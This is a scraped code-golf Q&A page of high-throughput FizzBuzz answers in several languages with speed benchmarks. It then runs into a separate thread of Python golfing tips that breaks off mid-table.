FizzBuzz { private static final int BUFFER_SIZE = 1 << 16; private static final long STARTING_NUMBER = 10L; private static final long SIZE_FOR_30 = 2 * (17 * 8 + 47); private static final long FULL_INCREMENT = BUFFER_SIZE / SIZE_FOR_30 * 30; private static final long LIGHT_INCREMENT = FULL_INCREMENT - 30; private static final int[] BASE_IDX = {-1, 6, 8, 19, 21, 28, 40, 42, 54, 61, 63, 74, 76, 83, 95, 97}; private static final int[][] IDX = new int[19][16]; static { IDX[1] = BASE_IDX; for (var i = 2; i < IDX.length; i++) { for (var j = 0; j < 16; ) { IDX[i][j] = IDX[i - 1][j] + ++j; } } } public static void main(String[] args) { var threads = Runtime.getRuntime().availableProcessors(); var queue = new LinkedBlockingQueue<Future<ByteBuffer>>(threads); var executor = Executors.newFixedThreadPool(threads); try (var outputStream = new FileOutputStream(FileDescriptor.out); var channel = outputStream.getChannel()) { var counter = STARTING_NUMBER; for (var i = 0; i < threads; i++) { var buffer = ByteBuffer.allocateDirect(BUFFER_SIZE); queue.offer(executor.submit(new Task(counter, buffer))); counter += FULL_INCREMENT; } channel.write(ByteBuffer.wrap("1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\nBuzz\n".getBytes(US_ASCII))); while (true) { var buffer = queue.poll().get(); channel.write(buffer); queue.offer(executor.submit(new Task(counter, buffer))); counter += FULL_INCREMENT; } } catch (Exception e) { e.printStackTrace(System.err); } finally { executor.shutdown(); } } record Task(long startingNumber, ByteBuffer buffer) implements Callable<ByteBuffer> { @Override public ByteBuffer call() { buffer.clear(); var n = startingNumber; var nextPowerOf10 = 10L; var digitCount = 1; for (; nextPowerOf10 <= n; nextPowerOf10 *= 10L) { digitCount++; } var idx = IDX[digitCount]; var t = n / 10L; var s = Long.toString(t); var template = (s + "1\nFizz\n" + s + "3\n" + s + "4\nFizzBuzz\n" + s + "6\n" + s + "7\nFizz\n" + s + "9\nBuzz\nFizz\n" + (s = Long.toString(++t)) + "2\n" + s + "3\nFizz\nBuzz\n" + s + "6\nFizz\n" + s + "8\n" + s + "9\nFizzBuzz\n" + (s = Long.toString(++t)) + "1\n" + s + "2\nFizz\n" + s + "4\nBuzz\nFizz\n" + s + "7\n" + s + "8\nFizz\nBuzz\n").getBytes(US_ASCII); n += 30; buffer.put(template); for (var limit = n + LIGHT_INCREMENT; n < limit; n += 30L) { if (n == nextPowerOf10) { nextPowerOf10 *= 10; digitCount++; idx = IDX[digitCount]; t = n / 10L; s = Long.toString(t); template = (s + "1\nFizz\n" + s + "3\n" + s + "4\nFizzBuzz\n" + s + "6\n" + s + "7\nFizz\n" + s + "9\nBuzz\nFizz\n" + (s = Long.toString(++t)) + "2\n" + s + "3\nFizz\nBuzz\n" + s + "6\nFizz\n" + s + "8\n" + s + "9\nFizzBuzz\n" + (s = Long.toString(++t)) + "1\n" + s + "2\nFizz\n" + s + "4\nBuzz\nFizz\n" + s + "7\n" + s + "8\nFizz\nBuzz\n").getBytes(US_ASCII); } else { for (var i = 0; i < idx.length; ) { var pos = idx[i++]; template[pos] += 3; while (template[pos] > '9') { template[pos] -= 10; template[--pos]++; } } } buffer.put(template); } return buffer.flip(); } } } /* * Speed references: * - 270 GiB / min ± 3.95 / min on Macbook Pro 2021 */ ``` [Answer] # Python 3 We use fstrings to create blocks of 300 lines, and reduce the number of conversions from int to str by counting by 100. ``` def fizz_buzz(write): write( "1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\nBuzz\n11\nFizz\n13\n14\nFiz" "zBuzz\n16\n17\nFizz\n19\nBuzz\nFizz\n22\n23\nFizz\nBuzz\n26\nFizz" "\n28\n29\nFizzBuzz\n31\n32\nFizz\n34\nBuzz\nFizz\n37\n38\nFizz\nBu" "zz\n41\nFizz\n43\n44\nFizzBuzz\n46\n47\nFizz\n49\nBuzz\nFizz\n52\n" "53\nFizz\nBuzz\n56\nFizz\n58\n59\nFizzBuzz\n61\n62\nFizz\n64\nBuzz" "\nFizz\n67\n68\nFizz\nBuzz\n71\nFizz\n73\n74\nFizzBuzz\n76\n77\nFi" "zz\n79\nBuzz\nFizz\n82\n83\nFizz\nBuzz\n86\nFizz\n88\n89\nFizzBuzz" "\n91\n92\nFizz\n94\nBuzz\nFizz\n97\n98\nFizz\nBuzz\n" ) h = 0 while True: h += 1 c1 = str(h) h += 1 c2 = str(h) h += 1 c3 = str(h) write( f"{c1}01\nFizz\n{c1}03\n{c1}04\nFizzBuzz\n{c1}06\n{c1}07\nFizz\n{c1}09\nBuzz\n" f"Fizz\n{c1}12\n{c1}13\nFizz\nBuzz\n{c1}16\nFizz\n{c1}18\n{c1}19\nFizzBuzz\n" f"{c1}21\n{c1}22\nFizz\n{c1}24\nBuzz\nFizz\n{c1}27\n{c1}28\nFizz\nBuzz\n" f"{c1}31\nFizz\n{c1}33\n{c1}34\nFizzBuzz\n{c1}36\n{c1}37\nFizz\n{c1}39\nBuzz\n" f"Fizz\n{c1}42\n{c1}43\nFizz\nBuzz\n{c1}46\nFizz\n{c1}48\n{c1}49\nFizzBuzz\n" f"{c1}51\n{c1}52\nFizz\n{c1}54\nBuzz\nFizz\n{c1}57\n{c1}58\nFizz\nBuzz\n" f"{c1}61\nFizz\n{c1}63\n{c1}64\nFizzBuzz\n{c1}66\n{c1}67\nFizz\n{c1}69\nBuzz\n" f"Fizz\n{c1}72\n{c1}73\nFizz\nBuzz\n{c1}76\nFizz\n{c1}78\n{c1}79\nFizzBuzz\n" f"{c1}81\n{c1}82\nFizz\n{c1}84\nBuzz\nFizz\n{c1}87\n{c1}88\nFizz\nBuzz\n" f"{c1}91\nFizz\n{c1}93\n{c1}94\nFizzBuzz\n{c1}96\n{c1}97\nFizz\n{c1}99\nBuzz\n" f"Fizz\n{c2}02\n{c2}03\nFizz\nBuzz\n{c2}06\nFizz\n{c2}08\n{c2}09\nFizzBuzz\n" f"{c2}11\n{c2}12\nFizz\n{c2}14\nBuzz\nFizz\n{c2}17\n{c2}18\nFizz\nBuzz\n" f"{c2}21\nFizz\n{c2}23\n{c2}24\nFizzBuzz\n{c2}26\n{c2}27\nFizz\n{c2}29\nBuzz\n" f"Fizz\n{c2}32\n{c2}33\nFizz\nBuzz\n{c2}36\nFizz\n{c2}38\n{c2}39\nFizzBuzz\n" f"{c2}41\n{c2}42\nFizz\n{c2}44\nBuzz\nFizz\n{c2}47\n{c2}48\nFizz\nBuzz\n" f"{c2}51\nFizz\n{c2}53\n{c2}54\nFizzBuzz\n{c2}56\n{c2}57\nFizz\n{c2}59\nBuzz\n" f"Fizz\n{c2}62\n{c2}63\nFizz\nBuzz\n{c2}66\nFizz\n{c2}68\n{c2}69\nFizzBuzz\n" f"{c2}71\n{c2}72\nFizz\n{c2}74\nBuzz\nFizz\n{c2}77\n{c2}78\nFizz\nBuzz\n" f"{c2}81\nFizz\n{c2}83\n{c2}84\nFizzBuzz\n{c2}86\n{c2}87\nFizz\n{c2}89\nBuzz\n" f"Fizz\n{c2}92\n{c2}93\nFizz\nBuzz\n{c2}96\nFizz\n{c2}98\n{c2}99\nFizzBuzz\n" f"{c3}01\n{c3}02\nFizz\n{c3}04\nBuzz\nFizz\n{c3}07\n{c3}08\nFizz\nBuzz\n" f"{c3}11\nFizz\n{c3}13\n{c3}14\nFizzBuzz\n{c3}16\n{c3}17\nFizz\n{c3}19\nBuzz\n" f"Fizz\n{c3}22\n{c3}23\nFizz\nBuzz\n{c3}26\nFizz\n{c3}28\n{c3}29\nFizzBuzz\n" f"{c3}31\n{c3}32\nFizz\n{c3}34\nBuzz\nFizz\n{c3}37\n{c3}38\nFizz\nBuzz\n" f"{c3}41\nFizz\n{c3}43\n{c3}44\nFizzBuzz\n{c3}46\n{c3}47\nFizz\n{c3}49\nBuzz\n" f"Fizz\n{c3}52\n{c3}53\nFizz\nBuzz\n{c3}56\nFizz\n{c3}58\n{c3}59\nFizzBuzz\n" f"{c3}61\n{c3}62\nFizz\n{c3}64\nBuzz\nFizz\n{c3}67\n{c3}68\nFizz\nBuzz\n" f"{c3}71\nFizz\n{c3}73\n{c3}74\nFizzBuzz\n{c3}76\n{c3}77\nFizz\n{c3}79\nBuzz\n" f"Fizz\n{c3}82\n{c3}83\nFizz\nBuzz\n{c3}86\nFizz\n{c3}88\n{c3}89\nFizzBuzz\n" f"{c3}91\n{c3}92\nFizz\n{c3}94\nBuzz\nFizz\n{c3}97\n{c3}98\nFizz\nBuzz\n" ) if __name__ == "__main__": import sys fizz_buzz(sys.stdout.write) ``` On my laptop (i7-1165G7): * python (3.11.3): 0.6 GiB/s * pypy3 (7.3.12): 1.3 GiB/s [Answer] Just tried the following Kotlin, compiled to Kotlin Native: ``` fun main(){ for (i in 1..1_000_000_000){ when { (i % 3 == 0 && i % 5 == 0) -> println("FizzBuzz") i % 3 == 0 -> println("Fizz") i % 5 == 0 -> println("Buzz") else -> println("$i") } } } ``` **2.91MiB/s** Machine specs: * Linux 5.14.18 * i7-8550U * 16GB Ram [Answer] Adding a bit upon ksousa's answer, you can make two tweaks while keeping readability: * Use f-strings **not .format()** (because that'd add a function call) in the derailleur() function * Use os.write() instead of print(), because **print() is slow** (not that os.write is much faster, but it is faster) It ends up looking like this: ``` from itertools import cycle, count from os import write def derailleur(counter, carousel): return f"{carousel if carousel else counter}\n" def main(): carousel = cycle([0, 0, "Fizz", 0, "Buzz", "Fizz", 0, 0, "Fizz", "Buzz", 0, "Fizz", 0, 0, "FizzBuzz"]) counter = count(1) f = map(derailleur, counter, carousel) while True: write(1, "".join( [ next(f) for _ in range(8192) ] ).encode("utf-8") ) main() ``` I also played a bit with extending the range, but didn't get a significant speedup from that. Under WSL2 on a 7200u w/ 16GiB of RAM I'm getting about a 10% to 20% better throughput, but the readings are super noisy (it starts at 15 MiB/s, jumps to 25, back to 20, etc...). I don't have a Linux machine at hand to test this under a better environment, but I don't expect these changes to make a significant impact. After a few measurements, either using print() or os.write(), about 95% of the time is spent writing the output, and I haven't done much to address that with my changes. **Edit:** fixed a few typos and tested on PyPy3 under the same environment: * Nearing 100 MiB/s using os.write() * Slightly faster 108 MiB/s using print() **Edit 2:** **moar PyPy!** If we throw CPython performance out of the window, we can go with this pretty straightforward code: ``` def fizzbuzz(x: int) -> str: if x % 15 == 0: return "FizzBuzz" if x % 5 == 0: return "Buzz" if x % 3 == 0: return "Fizz" return f"{x}" def main(): c = 0 while True: print( "\n".join( fizzbuzz( c + i) for i in range(8192) ) ) c += 8192 main() ``` And that is netting about 148 MiB/s on my PC, using PyPy. So about 6x faster than ksousas CPython version. Running it under python3 gives me 22-24 MiB/s, which is close to where I started. Again, I'm fairly certain on my environment writing to stdout dominates and there's very little to be done unless that bottleneck can be addressed. [Answer] # [Julia 1.7](http://julialang.org/) ``` @inbounds function inc!(l::Vector{UInt8}, n, i = length(l)-1) if i > 0 l[i] += n if l[i] > 0x39 # '9' l[i] -= 0x0A # 10 inc!(l, 0x01, i-1) end else pushfirst!(l, 0x31) # '1' end return nothing end function main(maxi = typemax(Int), N = 2^16) io = IOBuffer(; sizehint=N) a = UInt8['1', '\n'] sizehint!(a, 100) for j in 1:N:maxi s = take!(io) write(stdout, s) l = ll = 0 while ll+l+8 < N l = 0 l += write(io, a) inc!(a, 0x01) l += write(io, a) l += write(io, "Fizz\n") inc!(a, 0x02) l += write(io, a) l += write(io, "Buzz\nFizz\n") inc!(a, 0x03) l += write(io, a) inc!(a, 0x01) l += write(io, a) l += write(io, "Fizz\nBuzz\n") inc!(a, 0x03) l += write(io, a) l += write(io, "Fizz\n") inc!(a, 0x02) l += write(io, a) inc!(a, 0x01) l += write(io, a) l += write(io, "FizzBuzz\n") inc!(a, 0x02) ll += l end end end main() ``` The buffer of size `N` is optimized for my machine. I get about **350-400 MiB/s** in WSL, it might be better on a real Linux machine (let's not talk about the performance in windows). I got slightly better results with julia 1.7 than with 1.6. [Try it online!](https://tio.run/##xVRRT8IwEH7frzjwgTWMZJVEAZ1RHkx4wSd9AUwmdKxYWrJ1ETH@9nntYASIIUaMfeja@3p3332X2ywTPKTLPL/l8kVlcpJClMmx5koCl@OKKzqdJzbWKvl47End@vRAesAhAMHkVMeuIA1KHMDFI7TfgG8vZokBH0E9AFla8Ik14qtlsw1nUGvXSrB0aQQI@3cIU38HLQh5BqVIYpPYLCYn9sxEykrjIkvjiCepXns1KTE5aZFz42K3hOkskSCVjrmcOgZzSiHmIZfuPFyasvX7guHRRTGIB320nD/TC@IUEii89x66WRSxxL2ClK8YxtNBv2AaImxlHCAJD2pDWRtZYPOw4oYeVu2v40UqgRmWDbTT7xgCTllbariEr6zicrWV4S3hmrmpnqhMe5BuAWE6ZratolunmAuGaF3UW3AN/d2O7PgUFuxpkYgrD0Jy2KOw6BH5gd8eWr3nq9VQVr8Nfv6b4N3MBD@Wokn@re6C4Imo/am0p6z7WNX7xGwMcfgPwK8dYDu3OJ6XdUry/As "Julia 1.0 – Try It Online") [Answer] ## Ruby ``` # frozen_string_literal: true FMT = "%d\n%d\nFizz\n%d\nBuzz\nFizz\n%d\n%d\nFizz\nBuzz\n%d\nFizz\n%d\n%d\nFizzBuzz" (1..).each_slice(15) do |slice| puts format(FMT, slice[0], slice[1], slice[3], slice[6], slice[7], slice[10], slice[12], slice[13]) end ``` Doesn't seem to be as magical as system languages though. On MacBook Air 1,7 GHz Dual-Core Intel Core i7 8 GB 1600 MHz DDR3 (while watching a twitch stream) I'm getting from `ruby fizzbuzz.rb | pv > /dev/null`: * [44.4MiB/s] for ruby 2.7.4 but seems fuctuating * [39.3MiB/s] for ruby 3.1-dev but seems to be more stable [Answer] **Java: On my 11th gen intel laptop** * The OP's simple C version: 25 MiB/s * My simple Java version: 140 MiB/s * python neil+kamila: 8 MiB/s * python ksoua chunking: 4.33 MiB/s * Jan's C version: 1.0 GiB/s Sometimes simple is better! To the guy that did a threaded C++ version: wow! ``` public class FizzBuzz { public static void main(String[] args) { long maxBufLen=4096<<3; var sb=new StringBuilder((int)maxBufLen + 10); for (long i = 1; ; i+=1) { if ((i % 3 == 0) && (i % 5 == 0)) { sb.append("FizzBuzz\n"); } else if (i % 3 == 0) { sb.append("Fizz\n"); } else if (i % 5 == 0) { sb.append("Buzz\n"); } else { sb.append(i).append("\n"); } if(sb.length()>maxBufLen) { System.out.print(sb); sb.setLength(0); } } } } ``` Copied Ioan's threaded version (not the way I'd do it but it works...) and added some efficiencies: 750MiB/s same laptop ``` import java.io.FileDescriptor; import java.io.FileOutputStream; import java.nio.ByteBuffer; import java.nio.CharBuffer; import java.nio.channels.FileChannel; import java.nio.charset.CharsetEncoder; import java.nio.charset.StandardCharsets; import java.util.LinkedList; import java.util.Queue; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ForkJoinPool; import java.util.function.Supplier; import java.util.stream.IntStream; public class FizzBuzzIoan { static final String NEWLINE = String.format("%n"); static final CharsetEncoder encoder = StandardCharsets.US_ASCII.newEncoder(); static void fizzBuzz(long src, StringBuilder destination) { if (src % 15 == 0) { destination.append("FizzBuzz"+NEWLINE); } else if (src % 5 == 0) { destination.append("Fizz"+NEWLINE); } else if (src % 3 == 0) { destination.append("Buzz"+NEWLINE); } else { destination.append(src).append(NEWLINE); } } record Pair<T1, T2>(T1 item1, T2 item2) { } public static void main(String[] args) throws Exception { try (var fis= new FileOutputStream(FileDescriptor.out)) { var channel = fis.getChannel(); doIt(channel); } } static void doIt(FileChannel channel) { var max=Math.max(ForkJoinPool.getCommonPoolParallelism(), 1); final Queue<CompletableFuture<Pair<StringBuilder, ByteBuffer>>> queue = new LinkedList<>( IntStream.range(0, max).mapToObj(i -> CompletableFuture.completedFuture( new Pair<>(new StringBuilder(20 * 1024 * 1024), ByteBuffer.allocateDirect(41 * 1024 * 1024)))).toList() ); CompletableFuture<?> last = CompletableFuture.completedFuture(null); final Supplier<Pair<StringBuilder, ByteBuffer>> supplier = () -> { try { return queue.poll().get(); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); return null; } }; var nr = 0L; var segment = 1_000_000L; while (true) { final var start = nr; final var end = nr + segment; final var finalLast = last; var cf = CompletableFuture.completedFuture(supplier.get()) .thenApplyAsync(p -> { var sb = p.item1(); var bb = p.item2(); sb.setLength(0); for (long l = start; l < end; l++) { fizzBuzz(l, sb); } bb.clear(); try { var cb=CharBuffer.wrap(sb); encoder.encode(cb, bb, true); } catch(Exception ex) { throw new RuntimeException(ex); } return p; }) .thenCombineAsync(finalLast, (p, v) -> { try { channel.write(p.item2().flip()); } catch (Exception ex) { ex.printStackTrace(); System.exit(1); } return p; }); queue.add(cf); last = cf; nr = end; } } } ``` ``` [Answer] Can you check my version in rust ? On my laptop it seems faster than @aiden version ``` use nix::unistd::write; use std::time::{Duration, Instant}; use libc::exit; use itoap; #[inline(always)] fn u64_to_bytes(n: u64, v: &mut Vec<u8>) { itoap::write_to_vec(v, n); v.push(0x0a); } fn main() { let mut i: u64 = 0; let Fizz = "Fizz\n".as_bytes(); let Buzz = "Buzz\n".as_bytes(); let FizzBuzz = "FizzBuzz\n".as_bytes(); let mut buffering: Vec<u8> = Vec::with_capacity(1024*1024*2); loop { for _ in 0..512 { i += 1; u64_to_bytes(i, &mut buffering); i += 1; u64_to_bytes(i, &mut buffering); i += 1; buffering.extend_from_slice(&Fizz); i += 1; u64_to_bytes(i, &mut buffering); i += 1; buffering.extend_from_slice(&Buzz); i += 1; buffering.extend_from_slice(&Fizz); i += 1; u64_to_bytes(i, &mut buffering); i += 1; u64_to_bytes(i, &mut buffering); i += 1; buffering.extend_from_slice(&Fizz); i += 1; buffering.extend_from_slice(&Buzz); i += 1; u64_to_bytes(i, &mut buffering); i += 1; buffering.extend_from_slice(&Fizz); i += 1; u64_to_bytes(i, &mut buffering); i += 1; u64_to_bytes(i, &mut buffering); i += 1; buffering.extend_from_slice(&FizzBuzz); } write(1, buffering.as_slice()); buffering.clear(); } } ``` ``` [package] name = "fizzbuzz" version = "0.1.0" edition = "2021" [dependencies] nix = "0.24.1" libc = "*" itoap = "*" ``` [Answer] # Go Compile and run with `go run main.go` Some notes: * Creates output in 15-line templates where possible. * Divides work into sections of lines with same base10 integer width, so locations of integers in output buffer can easily be precomputed. * Processes work in large chunks of multiple templates, computed in parallel with goroutines and channels. * Uses modified versions of standard library itoa for int->string conversion to avoid memory allocation. * Caches small (<10000) integer string representations and reuses them where possible. 4.3 GiB/s running this on my desktop ``` package main import ( "fmt" "io" "os" "runtime" ) const limit = 1 << 61 func main() { initItoaCache() parallelFizzBuzz(1, limit) } const cacheSize = 10000 var logCacheSize = log10(cacheSize) var itoaCache = make([]string, cacheSize) func initItoaCache() { // precompute string representations fmtString := fmt.Sprintf("%%0%dd", logCacheSize) for j := 0; j < cacheSize; j++ { itoaCache[j] = fmt.Sprintf(fmtString, j) } } func parallelFizzBuzz(from, to int) { for _, wr := range getWidthRanges(from, to) { // range which can be filled with templates templatesStart := min(wr.to, ceilDiv(wr.from, templateLines)*templateLines) templatesEnd := templatesStart + floorDiv(wr.to-templatesStart+1, templateLines)*templateLines // handle values before first template for i := wr.from; i <= templatesStart; i++ { os.Stdout.WriteString(fizzBuzzLine(i)) } // write large chunks in parallel const templatesPerJob = 250 template, placeholderIdxs := fixedWidthTemplate(wr.width) nWorkers := runtime.NumCPU() chunkSize := nWorkers * templateLines * templatesPerJob chunksStart := templatesStart chunksEnd := chunksStart + floorDiv(templatesEnd-templatesStart+1, chunkSize)*chunkSize if chunksEnd > templatesStart { writeParallel(os.Stdout, chunksStart+1, chunksEnd, nWorkers, templatesPerJob, template, wr.width, placeholderIdxs) } // handle values after last chunk for i := chunksEnd + 1; i <= wr.to; i++ { os.Stdout.WriteString(fizzBuzzLine(i)) } } } type widthRange struct{ from, to, width int } // getWidthRanges splits integer range [from,to] into disjoint ranges grouped by base10 representation length func getWidthRanges(from, to int) []widthRange { ranges := []widthRange{} fromWidth := log10(from + 1) toWidth := log10(to + 1) for fromWidth < toWidth { toVal := pow(10, fromWidth) - 1 ranges = append(ranges, widthRange{from, toVal, fromWidth}) from = toVal + 1 fromWidth += 1 } ranges = append(ranges, widthRange{from, to, fromWidth}) return ranges } // fizzBuzzLine is used to form lines outside of "chunkable" regions func fizzBuzzLine(i int) string { if (i%3 == 0) && (i%5 == 0) { return "FizzBuzz\n" } else if i%3 == 0 { return "Fizz\n" } else if i%5 == 0 { return "Buzz\n" } else { return fastItoa(uint64(i)) + "\n" } } const templateLines = 15 func fixedWidthTemplate(valueWidth int) ([]byte, []int) { template := make([]byte, 0, 15+valueWidth*8+4*8) formatString := fmt.Sprintf("%%0%dd\n", valueWidth) placeholder := []byte(fmt.Sprintf(formatString, 0)) placeholderIdxs := make([]int, 0, 8) fizzBytes := []byte("Fizz\n") buzzBytes := []byte("Buzz\n") fizzBuzzBytes := []byte("FizzBuzz\n") placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) template = append(template, fizzBytes...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) template = append(template, buzzBytes...) template = append(template, fizzBytes...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) template = append(template, fizzBytes...) template = append(template, buzzBytes...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) template = append(template, fizzBytes...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) placeholderIdxs = append(placeholderIdxs, len(template)) template = append(template, placeholder...) template = append(template, fizzBuzzBytes...) return template, placeholderIdxs } func writeParallel(f io.Writer, firstLine, lastLine, nWorkers, templatesPerJob int, template []byte, width int, placeholderIdxs []int) { totalLines := lastLine - firstLine + 1 workerLines := templateLines * templatesPerJob linesPerRound := nWorkers * workerLines if totalLines%linesPerRound != 0 { panic("uneven work allocation") } jobChannels := make([]chan int, nWorkers) resultChannels := make([]chan []byte, nWorkers) totalJobs := ceilDiv(totalLines, workerLines) jobsPerWorker := ceilDiv(totalLines, workerLines*nWorkers) for i := 0; i < nWorkers; i++ { jobChannels[i] = make(chan int, jobsPerWorker*2) resultChannels[i] = make(chan []byte, 1) go worker(jobChannels[i], resultChannels[i], templatesPerJob, template, width, placeholderIdxs) } // deal out jobs to workers for job := 0; job < totalJobs; job++ { jobLine := firstLine + job*workerLines jobChannels[job%nWorkers] <- jobLine } // read buffers from workers for job := 0; job < totalJobs; job++ { f.Write(<-resultChannels[job%nWorkers]) } } func worker(in <-chan int, out chan<- []byte, templatesPerJob int, template []byte, width int, idxs []int) { buffer := make([]byte, len(template)*templatesPerJob) buffer2 := make([]byte, len(template)*templatesPerJob) buffer3 := make([]byte, len(template)*templatesPerJob) for i := 0; i < templatesPerJob; i++ { copy(buffer[len(template)*i:], template) } copy(buffer2, buffer) copy(buffer3, buffer) for jobLine := range in { nextFlush := (jobLine / cacheSize) * cacheSize repeat := false // need to fill twice for a clean template for cached ints for i := 0; i < templatesPerJob; i++ { off := i * len(template) if i*templateLines+jobLine+13 > nextFlush || repeat { bufFastItoa(buffer, off+idxs[0]+width, uint64(i*templateLines+jobLine)) bufFastItoa(buffer, off+idxs[1]+width, uint64(i*templateLines+jobLine+1)) bufFastItoa(buffer, off+idxs[2]+width, uint64(i*templateLines+jobLine+3)) bufFastItoa(buffer, off+idxs[3]+width, uint64(i*templateLines+jobLine+6)) bufFastItoa(buffer, off+idxs[4]+width, uint64(i*templateLines+jobLine+7)) bufFastItoa(buffer, off+idxs[5]+width, uint64(i*templateLines+jobLine+10)) bufFastItoa(buffer, off+idxs[6]+width, uint64(i*templateLines+jobLine+12)) bufFastItoa(buffer, off+idxs[7]+width, uint64(i*templateLines+jobLine+13)) repeat = !repeat if repeat { nextFlush += cacheSize } } else { copy(buffer[off:], buffer[off-len(template):off]) copy(buffer[off+idxs[0]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine)%cacheSize]) copy(buffer[off+idxs[1]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+1)%cacheSize]) copy(buffer[off+idxs[2]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+3)%cacheSize]) copy(buffer[off+idxs[3]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+6)%cacheSize]) copy(buffer[off+idxs[4]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+7)%cacheSize]) copy(buffer[off+idxs[5]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+10)%cacheSize]) copy(buffer[off+idxs[6]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+12)%cacheSize]) copy(buffer[off+idxs[7]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+13)%cacheSize]) } } out <- buffer buffer, buffer2, buffer3 = buffer2, buffer3, buffer } close(out) } // // Helpers // func max(a, b int) int { if a < b { return b } return a } func min(a, b int) int { if a < b { return a } return b } func ceilDiv(val, divisor int) int { return (val + divisor - 1) / divisor } func floorDiv(val, divisor int) int { return val / divisor } // pow returns n^k func pow(n, k int) int { if k == 0 { return 1 } else if k == 1 { return n } else { return pow(n, k/2) * pow(n, k-k/2) } } // log10 returns base 10 logarithm for positive n func log10(n int) int { if n <= 0 { panic("bad input") } i := 0 c := 1 for c < n { c *= 10 i++ } return i } const smallsString = "00010203040506070809" + "10111213141516171819" + "20212223242526272829" + "30313233343536373839" + "40414243444546474849" + "50515253545556575859" + "60616263646566676869" + "70717273747576777879" + "80818283848586878889" + "90919293949596979899" // bufFastItoa writes base10 string representation of a positive integer to index i in buffer // adapted from Go source strconv/itoa.go func bufFastItoa(buf []byte, i int, u uint64) { for u >= 100 { is := u % 100 * 2 u /= 100 i -= 2 buf[i+1] = smallsString[is+1] buf[i+0] = smallsString[is+0] } // u < 100 is := u * 2 i-- buf[i] = smallsString[is+1] if u >= 10 { i-- buf[i] = smallsString[is] } } // fastItoa returns base10 string representation of a positive integer // adapted from Go source strconv/itoa.go func fastItoa(u uint64) string { var dst [20]byte i := len(dst) for u >= 100 { is := u % 100 * 2 u /= 100 i -= 2 dst[i+1] = smallsString[is+1] dst[i+0] = smallsString[is+0] } // u < 100 is := u * 2 i-- dst[i] = smallsString[is+1] if u >= 10 { i-- dst[i] = smallsString[is] } return string(dst[i:]) } ``` ]
[Question] [ What general tips do you have for golfing in Python? I'm looking for ideas which can be applied to code-golf problems and which are also at least somewhat specific to Python (e.g. "remove comments" is not an answer). Please post one tip per answer. [Answer] Use `a=b=c=0` instead of `a,b,c=0,0,0`. (Note that this uses the same instance for each variable, so don't do this with objects like lists if you intend to mutate them independently) Use `a,b,c='123'` instead of `a,b,c='1','2','3'`. [Answer] Conditionals can be lengthy. In some cases, you can replace a simple conditional with `(a,b)[condition]`. If `condition` is true, then `b` is returned. Compare ``` if a<b:return a else:return b ``` To this ``` return(b,a)[a<b] ``` [Answer] A great thing I did once is: ``` if 3 > a > 1 < b < 5: foo() ``` instead of: ``` if a > 1 and b > 1 and 3 > a and 5 > b: foo() ``` Python’s comparison operators rock. --- Using that everything is comparable in Python 2, you can also avoid the `and` operator this way. For example, if `a`, `b`, `c` and `d` are integers, ``` if a<b and c>d:foo() ``` can be shortened by one character to: ``` if a<b<[]>c>d:foo() ``` This uses that every list is larger than any integer. If `c` and `d` are lists, this gets even better: ``` if a<b<c>d:foo() ``` [Answer] If you're using a built-in function repeatedly, it might be more space-efficient to give it a new name, if using different arguments: ``` r=range for x in r(10): for y in r(100):print x,y ``` [Answer] Use string substitution and `exec` to deal with long keywords like `lambda` that are repeated often in your code. ``` a=lambda b:lambda c:lambda d:lambda e:lambda f:0 # 48 bytes (plain) exec"a=`b:`c:`d:`e:`f:0".replace('`','lambda ') # 47 bytes (replace) exec"a=%sb:%sc:%sd:%se:%sf:0"%(('lambda ',)*5) # 46 bytes (%) ``` The target string is very often `'lambda '`, which is 7 bytes long. Suppose your code snippet contains `n` occurences of `'lambda '`, and is `s` bytes long. Then: * The `plain` option is `s` bytes long. * The `replace` option is `s - 6n + 29` bytes long. * The `%` option is `s - 5n + 22 + len(str(n))` bytes long. From a [plot of *bytes saved over `plain`*](https://i.stack.imgur.com/wSeF2.png) for these three options, we can see that: * For *n < 5* lambdas, you're better off not doing anything fancy at all. * For *n = 5*, writing `exec"..."%(('lambda ',)*5)` saves 2 bytes, and is your best option. * For *n > 5*, writing `exec"...".replace('`','lambda ')` is your best option. **For other cases, you can index the table below:** ``` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (occurences) +--------------------------------------------------------- 3 | - - - - - - - - - - - - - - r r r r r 4 | - - - - - - - - - r r r r r r r r r r 5 | - - - - - - - r r r r r r r r r r r r 6 | - - - - - r r r r r r r r r r r r r r 7 | - - - - % r r r r r r r r r r r r r r 8 | - - - % % r r r r r r r r r r r r r r 9 | - - - % % r r r r r r r r r r r r r r 10 | - - % % % r r r r r r r r r r r r r r 11 | - - % % % r r r r r r r r r r r r r r 12 | - - % % % r r r r r r r r r r r r r r r = replace 13 | - - % % % r r r r r r r r r r r r r r % = string % 14 | - % % % % r r r r r r r r r r r r r r - = do nothing 15 | - % % % % r r r r r r r r r r r r r r (length) ``` For example, if the string `lambda x,y:` (length 11) occurs 3 times in your code, you're better off writing `exec"..."%(('lambda x,y:',)*3)`. [Answer] Sometimes your Python code requires you to have 2 levels of indentation. The obvious thing to do is use one and two spaces for each indentation level. However, Python 2 considers the tab and space characters to be different indenting levels. This means the first indentation level can be one space and the second can be one tab character. For example: ``` if 1: if 1: pass ``` [Answer] ## Store lookup tables as magic numbers Say you want to hardcode a Boolean lookup table, like which of the first twelve English numbers contain an `n`. ``` 0: False 1: True 2: False 3: False 4: False 5: False 6: False 7: True 8: False 9: True 10:True 11:True 12:False 